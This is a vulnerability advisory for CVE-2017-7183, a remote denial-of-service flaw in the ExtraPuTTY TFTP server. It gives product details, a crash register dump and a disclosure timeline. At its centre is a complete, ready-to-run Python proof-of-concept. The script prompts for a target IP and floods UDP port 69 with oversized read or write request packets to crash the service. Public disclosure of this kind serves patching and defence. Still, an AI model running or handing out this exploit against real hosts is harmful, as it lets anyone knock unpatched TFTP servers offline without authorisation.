[+] Credits: John Page AKA hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/EXTRAPUTTY-TFTP-DENIAL-OF-SERVICE.txt [+] ISR: ApparitionSec Vendor: ================== www.extraputty.com Product: ====================== ExtraPuTTY - v029_RC2 hash: d7212fb5bc4144ef895618187f532773 Also Vulnerable: v0.30 r15 hash: eac63550f837a98d5d52d0a19d938b91 ExtraPuTTY is a fork from 0.67 version of PuTTY. ExtraPuTTY has all the features from the original soft and adds others. Below a short list of the principal features (see all features): DLL frontend TestStand API ( LabWindows ,TestStand 2012) timestamp StatusBar Scripting a session with lua 5.3. Automatic sequencing of commands. Shortcuts for pre-defined commands. Keyboard shortcuts for pre-defined command Portability (use of directories structure) Integrates FTP,TFTP,SCP,SFTP,Ymodem,Xmodem transfert protocols Integrates PuTTYcyg,PuTTYSC, HyperLink, zmodem and session manager projects Change default settings from configuration file Change putty settings during session PuTTYcmdSender : tool to send command or keyboard shortcut to multiple putty windows Vulnerability Type: ======================= TFTP Denial of Service CVE Reference: ============== CVE-2017-7183 Security Issue: ================ TFTP server component of ExtraPuTTY is vulnerable to remote Denial of Service attack by sending large junk UDP Read/Write TFTP protocol request packets. Open ExtraPuTTY Session Manager, select => Files Transfer => TFTP Server, run below Python exploit. Then, BOOM (100c.30c): Access violation - code c0000005 (first/second chance not available) *** ERROR: Symbol file could not be found. Defaulted to export symbols for kernel32.dll - eax=00000000 ebx=0929ee98 ecx=00000174 edx=7efefeff esi=00000002 edi=00000000 eip=77b4015d esp=0929ee48 ebp=0929eee4 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!ZwWaitForMultipleObjects+0x15: Exploit/POC: ============= import socket print "ExtraPuTTY v029_RC2 TFTP Server" print "Remote Denial Of Service 0day Exploit" print "John Page AKA hyp3rlinx\n" TARGET=raw_input("[IP]>") TYPE=int(raw_input("[Select DOS Type: Read=1, Write=2]>")) CRASH="A"*2000 PORT = 69 if TYPE==1: PAYLOAD = "\x00\x01" PAYLOAD += CRASH + "\x00" PAYLOAD += "netascii\x00" elif TYPE==2: PAYLOAD = "\x00\x02" PAYLOAD += CRASH + "\x00" PAYLOAD += "netascii\x00" try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto("\x00\x01\TEST\x00\netascii\x00", (TARGET, PORT)) recv = s.recvfrom(255) if recv != None: print "Crashing ExtraPuTTY TFTP server at : %s" %(TARGET) s.sendto(PAYLOAD, (TARGET, PORT)) except Exception: print 'Server not avail, try later' s.close() Network Access: =============== Remote Severity: ========= Medium Disclosure Timeline: =============================== Vendor Notification: No reply March 20, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx